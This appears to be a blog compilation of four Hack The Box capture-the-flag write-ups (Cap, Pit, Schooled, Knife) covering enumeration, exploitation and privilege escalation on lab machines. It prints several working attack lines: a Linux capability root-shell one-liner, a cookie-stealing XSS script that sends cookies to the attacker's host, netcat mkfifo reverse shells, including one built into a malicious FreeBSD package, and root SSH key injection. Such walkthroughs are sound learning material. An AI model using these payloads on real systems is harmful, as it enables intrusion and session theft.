Cap was an easy machine from Hack The Box developed by InfoSecJack. This was actually the easiest box from Hack The Box and it is perfect for a total beginner.

Also, before the release of this machine, I was pretty sure what the privilege escalation vector would be because of the name and I was right😅. Getting into the user and escalating privileges have link towards the machine’s name, which I personally think is pretty cool!  😎

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with an Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.245

And the result I got is as follows.

# Nmap 7.91 scan initiated Sun Jun  6 00:30:41 2021 as: /usr/bin/nmap -sCV -v -oA nmap/tcp 10.10.10.245
Nmap scan report for 10.10.10.245
Host is up (0.17s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 19:00:57 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 19:00:51 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Sat, 05 Jun 2021 19:00:51 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|   RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version 'Invalid HTTP Version: 'RTSP/1.0''
|     </body>
|_    </html>
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-server-header: gunicorn
|_http-title: Security Dashboard

We have three ports open.

The SSH banner pointed that the machine might be running Ubuntu. I then tried FTP to anonymous login, but I couldn’t login to it as anonymous.

Navigating to http://10.10.10.245 showed the following page.

It was a security dashboard, which was already logged in as user Nathan. Sweet!

The website had three functionalities.

The dashboard can show IP information, Netstat information and it can capture packets for 5 seconds and provide the .pcap files.

I tried the IP and netstat functions, but there wasn’t anything interesting. So, I decided to capture the .pcap file and look for passwords.

I thought that since ftp and http are unencrypted, we can capture the plaintext credentials, from the pcap file if our timing is right.

The pcap file can be downloaded from http://10.10.10.245/data/X , where X is a number.

I captured several pcap files at different timings and looked it in Wireshark, but nothing interesting was there.

Then, I decided to brute force the /data directory for some leftover pcap files using ffuf.

ffuf -c -w  /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt  -u http://10.10.10.245/data/FUZZ -fs 208 

And got the following output.

All of the directories after 1 was made by me, but 0 wasn’t a pcap file generated by me.

So, I went to http://10.10.10.245/data/0 and downloaded the pcap file.

I then opened the pcap file in Wireshark to analyze it and got the plaintext FTP password of user Nathan.

The password for nathan was Buck3tH4TF0RM3!.

So, I used the password in SSH and I was in!

Sweet 90s Kid GIF - BrentRambo ThumbsUp Sweet - Discover & Share GIFs | 90s  kids, Gif, Cool gifs

Privilege Escalation

Like I said before, I had a guess on where to look for privilege escalation before the box’s release. So, I looked straight into it. Linux Capabilities!

So, I searched for files with capabilities using the following command.

getcap -r / 2>/dev/null

And I got a list.

Python has cap_setuid capability, which allows python to set the UserID of the process. Which means python can set UID to 0, making it root!

Hacktricks has a great checklist on exploiting capabilities. I found the exploitation command from there and executed it.

python3 -c 'import os; os.setuid(0); os.system("/bin/bash");'

And I am w00t!

Postlude

And that was Cap!

This was an easy but fun box and I really enjoyed every aspect of this box.

Kudos to InfoSecJack for this awesome box!

Peace out! ✌️

Hack The Box: Pit

Prelude

Pit is an intermediate machine from Hack The Box developed by polarbearer & GibParadox. This was not an easy box in any way and I almost lost my mind over this machine. But, this machine strongly reinforced the importance of in depth enumeration and I believe that it is the whole theme of this machine.

Getting initial foothold was easier than privilege escalation and if we aren’t observant enough about the SNMP output, privilege escalation can be a frustrating experience. Also, SELinux is enforced in this machine, so the exploitation wasn’t as straight forward as other HTB machines I’ve encountered; which makes this machine more real life like.

But in the end, I’ve learned a lot about SNMP protocol from this machine!

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with an Nmap scan.

nmap -sCV -v -oA nmap/tcp 10.10.10.241

And I got the result as shown below.

# Nmap 7.91 scan initiated Fri Jun  4 20:27:31 2021 as: /usr/bin/nmap -sCV -v -oA nmap/tcp 10.10.10.241
Nmap scan report for 10.10.10.241
Host is up (0.26s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
|   256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_  256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp   open  http            nginx 1.14.1
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Issuer: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US

There are three ports open and I started the enumeration with port 80.

Just a default Red Hat nginx page.

So, I decided to checkout port 9090, which had TLS.

There was a login page with name CentOS Linux and it leaked the host name of the server as pit.htb. The TLS certificate also showed another hostname dms-pit.htb.

So, I added both hostnames to my /etc/hosts file and tried to go to those names.

But the sites returned were same, no matter what the hostname was.

I tried some common passwords in the CentOS login page, but nothing worked.

So, I analyzed the source code of the said page and found out that it uses a software called Cockpit.

So, I googled cockpit and centos and found out that it is the login page for Cockpit-WS, a user friendly web-based graphical interface for servers.

I looked up some exploits for Cockpit, but there wasn’t anything interesting.

At this point I was stuck and didn’t knew how to proceed further.

So, I started an all ports scan and a UDP scan and found out that SNMP was running on UDP port 161!

PORT      STATE         SERVICE VERSION
161/udp   open          snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 4ca7e41263c5985e00000000
|   snmpEngineBoots: 71
|_  snmpEngineTime: 13h36m51s
| snmp-processes:

A Brief on SNMP Protocol

SNMP or Simple Network Management Protocol is an Internet Standard protocol, which is used to manage and monitor network devices. SNMP uses a database called Management Information Base (MIB), which stores Object Identifiers (OID) of all the entities to manage in a network.
The OIDs are stored in MIB in a hierarchical tree structure and each hierarchy is denoted by different numbers.

File:SNMP OID MIB Tree.png - Wikimedia Commons
MIB tree. Source: Wikipedia

So, for example if we want to access the IP address, then a sample OID would be like 1.3.6.1.1.1.4.

SNMP have three versions as of now. v1, 2c and 3. Version 3 is generally more secure, but v1and 2c are pretty insecure and the security is just as strong as the Community String set, which is the SNMP equivalent of a password. So, this means that if SNMP v1 and v2 are enabled, then cracking the community string can leak several critical information of the internal network.

There are two types of community strings. Read Only community string (usually set to public) and Read and Write community string (usually set to private).

RO community string allows the user to read (GET) the configurations and RW community strings allows to read and modify the configurations (GET/SET).

Enumerating SNMP Protocol

The first step of enumerating SNMP protocol is cracking a community string of the target.

To do that, we use a tool called as onesixtyone.

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt  10.10.10.241

And I got the community string as public.

Now that we’ve had the community string, we can use the community string to enumerate every available configuration from the SNMP agent running at the target, using SNMPWalk.

snmpwalk -v2c -c public -ObetU -Cc 10.10.10.241 1

Note: We can also use a perl script named snmpbw, which does the same thing and saves the output to a file.

We can see that SNMPWalk is working. But, the OIDs are in raw numerical format. Let’s convert this to more human readable format by installing the MIBs using the following command.

sudo apt install snmp-mibs-downloader -y

After the MIBs are installed, we need to configure SNMP to print the MIBs instead of the raw OIDs. To do that, edit /etc/snmp/snmp.conf and comment out the mibs: line from the file.

Uncommented line
After commenting the line out

Save the configuration and run snmpwalk again.

Way better output!

Now we can read the actual MIB values instead of raw OIDs.

There’s actually a ton of output and the only way to find important informations are to read the MIBs and it’s corresponding value carefully.

And from the SNMP output, I found out a hidden directory in /var/www/html called as seeddms51x/seeddms.

So, I tried to access the folder in different hosts using ffuf and finally found the directory at http://dms-pit.htb .

ffuf -c -u http://dms-pit.htb/FUZZ -w wordlist

I went there and found a login page.

I had the login page, but I lacked the credentials.

So, I looked at the previous snmpwalk output and found out a username michelle.

So, I tried the credential michelle: michelle into seeddms and got in!

SeedDMS is a Document Management System and there was an Upgrade Note from the Administrator inside SeedDMS.

So, I looked up seeddms in searchsploit and found an RCE exploit in SeedDMS < 5.1.11. Here, I am using sp as an alias for searchsploit.

Noice

The vulnerability is in the file upload part, as it doesn’t check the file type, when uploading. That means we can upload PHP backdoor files to it and it can be accessed at /data/1048576/"document_id"/1.php.

The document Id can be found after uploading the file.

So, I did just that. I uploaded artyumm’s simple PHP backdoor using the file uploader.

I went to michelle‘s directory and clicked Add Document.

Then I uploaded the PHP backdoor.

Once the file got uploaded, I hovered mouse over the file and got the documentid.

Then, I navigated to http://dms-pit.htb/seeddms51x/data/1048576/38/1.php and found the webshell.

There was a cleanup script running at the target, so I had to be quick.

I found the database MySQL credentials from seeddms’s configuration file located at /var/www/html/seeddms51x/seeddms/conf/settings.xml.

The credentials were seeddms:ied^ieY6xoquu.

I tried this password to login to the cockpit service running at https://pit.htb:9090 and I got in as michelle!

Privilege Escalation

Privilege Esclation part was actually pretty difficult for me as I only had limited experience with SNMP MIBs.

So, if we do the local enumeration correctly, we can see that user michelle has write access to a folder named /usr/local/monitoring.

find / -type d -writable 2>/dev/null

However, if we look at the directory permissions of the said folder, we can see that we don’t have access to the directory.

However, if we look carefully, we can see a plus sign along with the permissions. Which means that the folder has  extended permissions called ACLs.

To see the ACLs, we can use a tool called getfacl to get the file access control lists.

It shows that user michelle have write and execute permissions to the folder, but no read access.

This means that we can’t see the contents in the folder, however we can write files into the directory and execute it.

This is clue #1 to privilege escalation.

The other half of the privilege escalation lies in the SNMP protocol.

If we look at the SNMP output, we can see a MIB named nsExtendCommand with value /usr/bin/monitor at the end of the output.

This is clue #2.

What is an SNMP extend command?

SNMP protocol allows the use of running custom scripts and fetching the output of the script using an advanced function known as extending.

The extension script can be defined in snmpd.conf like in the following manner.

extend <extension-name> <Path-to-extension-script>

So, the monitoring extension is defined in snmpd.conf like below.

extend monitoring /usr/bin/monitor

We can execute just the extended script and return it’s output by calling the MIB nsExtendOutput1.

snmpwalk -v2c -c public -ObetU -Cc 10.10.10.241 nsExtendOutput1

One plus One equals Two

Now let’s combine the information we have at hand and combine them together to escalate privileges.

We can see that /usr/bin/monitor is a custom SNMP extended script from the snmpwalk output. Let’s verify this by using the file command.

The contents of the script is as shown below.

When executed, this script looks for file named check*.sh in the directory /usr/local/monitoring and executes it with bash.

Since the script specifies wildcard in the filename, we can write any file with file name starting with check and ends with sh to /usr/local/monitoring directory and /usr/bin/monitor script will execute our script.

We now have a way to inject our custom code into /usr/local/monitoring, we can execute /usr/bin/monitor since it is an SNMP extend script. Since snmpd is running as root, the code will be executed as root.

Let’s do just that; but before that, let’s confirm that we have code execution.

I created a file named check1.sh with the following contents.

#!/bin/bash
id

I then made the file executable using chmod +x check1.sh.

Then I copied the file to /usr/local/monitoring.

Then, I triggered the /usr/bin/monitor script by requesting the nsExtendOutput1Line MIB, since the output of id command will be a one line output.

snmpwalk -v2c -c public -ObetU -Cc 10.10.10.241 nsExtendOutput1Line
And we got code execution as root!

Note: We can also use full OIDs instead of MIBs, if MIBs aren’t installed. For example, we can use the full OID .1.3.6.1.4.1.8072.1.3.2.3.1.1.10.109.111.110.105.116.111.114.105.110.103 instead of MIB nsExtendOutput1Line and get the exact same results.

Same output on MIB it’s corresponding OID

Now that the code execution is confirmed, let’s get a proper shell back.

I tried several reverse shell methods, but most of them failed due to SELinux policies. No nc as root it seems.😅 

I got succesful by writing my public SSH key as authorized_keys file to root folder. But, we have to be a quick in our actions, as there is a cleanup sscript that clears out authorized_keys file periodically.

I wrote keys to the /root/.ssh directory using the following code in check1.sh file. I copied the public key without the last username and replaced the <ssh-rsa-key> part with my public key.

#!/bin/bash
echo "<ssh-rsa-key>" >> /root/.ssh/authorized_keys

Now, we need to trigger the extended function /usr/bin/monitor just life we did before.

snmpwalk -v2c -c public -ObetU -Cc 10.10.10.241 nsExtendOutput1Line

Note: If you get the following output when calling nsExtendOutput1Line, then this means the execution was successful at pit server. The output will vary on other devices, but the general rule of thumb is that, if there is no errors in the output, then the execution was successful.

Then I SSH-ed into the machine as root.

ssh root@pit.htb
And finally w00t!

Postlude

And that was Pit!

I’ve learned a ton about SNMP protocol from this machine and kudos to it’s creators polarbearer & GibParadox for such a great learning experience.

Also massive gratitude towards ikke for teaching me some cool stuff and helping me in the privilege escalation!

Peace out! ✌️

Hack The Box: Schooled

Prelude

Schooled was an intermediate machine from HTB, developed by TheCyberGeek. This machine was actually a bit tough for me on gaining the initial foothold, just because the service to exploit was hidden behind a subdomain and there’s no indication in the main page that there’s a subdomain in the target.

That is actually a realistic accept of penetration testing/bug bounties and I had to perform a subdomain enumeration to uncover the subdomain; which I haven’t done before inside HTB network.

The privilege escalation part was pretty straightforward, but exploiting the service located at the subdomain for gaining initial foothold was a little intricate. It involved exploiting multiple vulnerabilities in the service and chaining them together to gain the reverse shell. It was a one of a kind exploit chain and I’ve thoroughly enjoyed the process!

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.234

And I got the scan result as follows.

# Nmap 7.91 scan initiated Fri May 28 14:44:36 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.234
Increasing send delay for 10.10.10.234 from 0 to 5 due to 181 out of 602 dropped probes since last increase.
Nmap scan report for 10.10.10.234
Host is up (0.26s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey: 
|   2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
|   256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_  256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-favicon: Unknown favicon MD5: 460AF0375ECB7C08C3AE0B6E0B82D717
| http-methods: 
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

There was only two ports running.

From the SSH banner, I presumed the Operating System to be atleast Free BSD 11.4.

Then I started the enumeration of Port 80 by navigating to http://10.10.10.234 via the web browser and I saw the following page.

This was a static website and there wasn’t any actual functionality to the website. Even sending a message on contact us resulted in a 404.

Navigating to /teachers.html showed the following list of staff.

Potential usernames

The footer on the page suggested that the server have a domain name called schooled.htb.

So, I added the domain name to my /etc/hosts file and refreshed the page. But, the same page was rendered.

Other than this, there wasn’t much to do and I was stuck here after gobuster-ing and scanning the website with nikto.

So, I stared enumerating the sub domains, since there wasn’t any other services to enumerate.

gobuster vhost -u http://schooled.htb/ -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt|tee gobuster-vhost

And I got a hit on moodle.schooled.htb.

So, I added moodle.schooled.htb to my /etc/hosts file and browsed it via web browser and saw the following page.

I looked up moodle and found out that it is a Learning Management System (LMS). LMS is a sub category of CMS, aimed at providing services for online learning platforms.

I found a snyk.io page that showed several different vulnerabilities affected Moodle. However to test them, I need to verify the Moodle version running at the target.

Hacktricks has a great page demonstrating different tools to automatically scan Moodle.

I used moodlescan first.

Moodlescan found the version as 3.9.0-beta.

The Exploit Chain

Snyk.io showed all sorts of different vulnerabilities affecting Moodle 3.9.0-beta. The juicy ones are listed below:

The Improper Authorization allows anyone to create a new user account without confirming the email address. Then we can use Persistent XSS to steal cookies of a higher privileged Teacher account. Once we get Teacher account, we can use the Privilege escalation vulnerability to promote ourselves to the most privileged Manager account. Once the privesc is successful, then we can login as Manager to enable plugins and upload a malicious plugin file to gain remote code execution in the target machine.

This is the exploit chain we have to follow in order to gain the initial foothold on the machine.

Let’s do just that.

Step #1 Improper Authorization

I went to /moodle/login/signup.php and created a new account named secnigma using an email id with prefix @student.schooled.htb.

Once we have created an account, there will be a prompt asking us to confirm the email address, along with a Confirm button.

Click the button and we’ll be logged into Moodle.

Inside Moodle, we can see that there’s some courses. Amongst them, we can self enrol into maths, led by tutor Manuel Philips.

Enrol into the course and Step #1 is now complete.

Step #2 Stored XSS

Moodle has a stored XSS vulnerability in the moodlenetprofile field at user edit page:
http://moodle.schooled.htb/moodle/user/edit.php?id=29&returnto=profile

Since MoodleSession cookie is not set to HTTPOnly, we can use a simple cookie stealing XSS to hijack the session ID of other users.

HttpOnly set to False

Now the next step is to find a victim. Since, the only course we could access is Maths, I assumed that the intended vector is to hijack the session ID of the teacher and then elevate privileges to manager.

So, I looked up the teacher and found the teacher is Manuel Philips.

Then I started the XSS attack by finding a simple XSS script.

I got the cookie stealer payload from AXDOOMER/easy-xss-cookie-stealer github repo. The repo contains a cookiestealer.php script that decodes the base64 encoded cookie and saves it in log.txt file.

I cloned the XSS github repo and stared a PHP server using the following command.

sudo php -S 0.0.0.0:80

WARNING: Don’t forget that this is a dangerous way to run a PHP server, since this doesn’t have any security mechanisms built in and any PHP file located at the working directory will be accessible to the public.

Then I pasted the following XSS payload to the MoodleNetProfile field and save the configuration by clicking Update Profile at the bottom of the page.

XSS Cookie stealer payload I used is given below.

<script type="text/javascript">
document.location='http://10.10.14.37/cookiestealer.php?c='+encodeURIComponent(btoa(document.cookie)); 
</script>

Then I went to Manuel Philip‘s profile, added him to my contact and messaged him.

And I got two cookie values!

The first cookie is my own and the second one is Manuel Philips‘s.

So, I pressed F12 in my Firefox and swapped my cookie with Manuel Philip‘s and I got in as him!

Step #2 Complete!

Step #3 PrivEsc to Manager

Now that we’ve got the Teacher account, let’s use the privilege escalation vulnerability to promote Manuel Philips to the Manager role.

To do that, we have to first add the current Manager to Manuel Philip‘s Maths course. If we look back at our notes, we can see that from the staff list, Lianne Carter is the Manager.

So, first we have to add Lianne carter to our course.

To do that, as Manuel, go to Maths > Participants and then click Enrol Users.

Then from Select Users, search Lianne and add her as a student.

Before we click Enrol users, start BurpSuite and intercept the request to enrol users.We need to repeat the same request and repeat it with a little modification for the privilege escalation.

Once the request has been intercepted, add the request to Repeater and then forward the request. Confirm that Lianne is added into the course before proceeding to the next step.

Great!

Now go to BurpSuite’s Repeater tab and modify the GET variables userlist%5B%5B to User ID of Manuel Philips (24) and roletoassign as 1 and send the request.

Refresh the Participants page to confirm the privilege escalation.

Success!

Now, if we go to Lianne Carter‘s contact page, we can see an new option called Login as opened under Administration section.

Click on the link and we’re logged in as Lianne Carter!

Step #3 Complete!

Step #4 Remote Code Execution

We have arrived at our final step.

We are going to execute remote code via Moodle by uploading a malicious plugin.

To do so, we first have to enable plugins if plugins are disabled. Here, the plugins are disabled as there is no option under Plugins section.

Go to http://moodle.schooled.htb/moodle/admin/roles/define.php and click on Save Changes and Intercept the request via BurpSuite.

The request will look like the following.

We have to change the POST data after the sesskey variable and it’s value to the end.

Use the payload mentioned here to replace the Intercepted request data.

Once the payload has been pasted, forward the request.

Now, go to http://moodle.schooled.htb/moodle/admin/search.php#linkmodules and if we did everything correctly, the Install Plugins link should be active.

Now that the plugins are enabled, let’s craft a malicious plugin.

A sample plugin zip file can be obtained from here or from hacktricks.

Download it, unzip and edit the PHP reverse shell file’s IP address and Port number accordingly.

After that recompress the files back to the zip file using the following command.

zip -r reverse.zip rce/

This command will recursively compress the directory named rce into a zip file named reverse.zip.

Now, upload the reverse.zip file as a Plugin to Moodle.

Click the Install Plugins link and upload the reverse.zip file.

After this, start the nc listener and go to http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=id to get a reverse shell.

And we’re in!

Dwight The Office GIF - Dwight TheOffice Win - Discover & Share GIFs
WIN!

Gaining shell as Jamie

Gaining the shell as Jamie was pretty straight forward.

I found the database credentials at /usr/local/www/apache24/data/moodle/config.php.

The credentials were moodle:PlaybookMaster2020.

MySQL was in the machine. But, the PATH variable didn’y had MySQL.

I found the MySQL binary by find / -type f -name mysql 2>/dev/null and exported the PATH.

I then logged into MySQL server and exported admin‘s hash from moodle database.

It was a bcrypt/blowfish hash, but it cracked pretty quickly with rockyou.

The password was !QAZ2wsx.

I used the password to login as Jamie via ssh.

Privilege Escalation

Jamie could run /usr/bin/pkg with sudo. pkg is the binary package manager of FreeBSD.

GTFOBins have an entry about how to create malicious .txz packages.

To do that, we first have to install fpm.

Fpm is a package maker which can be used to build packages such as rpms, debs, OSX packages, etc.

sudo apt-get install ruby ruby-dev rubygems build-essential
sudo gem install --no-document fpm

I used nc traditional payload to get a shell back. I crafted the malicoius package using the following commands.

TF=$(mktemp -d)
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.37 9001 >/tmp/f' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

After this, we will get a file in the pwd named x-1.0.txz.

I copied the file to the target as evil.txz and ran the following command to get a shell.

sudo pkg install -y --no-repo-update ./evil.txz

And I was root!

Best More Power GIFs | Gfycat

Postlude

And that’s Schooled.

This was a great machine and I’ve learned several things from this box.

Kudos to TheCyberGeek for creating such an awesome machine!

Peace out! ✌️

Hack The Box: Knife

Prelude

Knife was a simple box from HTB, developed by MrKN16H. This was the easiest box I’ve ever seen from HTB and this machine marked my fastest rooting time by far. But still, this machine was a good learning experience and this is the first CTF box I encountered, that implemented a recent backdoor vulnerability. And for privilege escalation, this machine required the knowledge of a new tool which I wasn’t aware of; but it wasn’t that hard to learn the required syntax. Overall, I liked this box and I’d say that this is the perfect beginner box available right now in HTB.

Let’s start the exploitation.

Exploitation

As usual I started the exploitation with Nmap scan.

nmap -sCV -v -oN tcp 10.10.10.242

And I got the scan result as follows.

# Nmap 7.91 scan initiated Fri May 28 12:54:35 2021 as: /usr/bin/nmap -sCV -v -oN tcp 10.10.10.242
Increasing send delay for 10.10.10.242 from 0 to 5 due to 236 out of 786 dropped probes since last increase.
Nmap scan report for 10.10.10.242
Host is up (0.29s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that there’s only two open ports.

And from the SSH banner, I found out that the target OS is presumably Ubuntu Focal (20.04).

Then I started the enumeration of Port 80 by navigating to http://10.10.10.242/index.php via the web browser and I saw the following page.

So, I started the gobuster scan and a nikto scan and nikto returned the following output.

It showed the PHP version as 8.1.0-dev. So, I did a quick google search for the version and found the version is the version affected by Zerodium backdoor vulnerability.

I found a python exploit from packetstormsecurity and ran it using the following command.

python exploit.py http://10.10.10.242/

And I got code execution!

I upgraded the code execution to a full reverse shell by using the following command.

python exploit.py -u http://10.10.10.242 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.37 9001 >/tmp/f'

And got a shell back as james.

Cut cake GIFs - Get the best gif on GIFER
Piece of cake!

Privilege Escalation

Issuing sudo -l showed that james could run a program named knife as root.

Knife is a tool from a devops automation solution called Chef.

I did a quick google research and found that knife can execute ruby commands.

So, I issued the following command to spawn a root shell.

sudo /usr/bin/knife exec -E 'system("/bin/bash -i")'

And I was root!

Signature look of superiority - original no watermark :  MemeTemplatesOfficial
Say w00t!

Postlude

And that was the box.

Kudos to MrKN16H for creating such a beginner friendly box!

Peace out! ✌️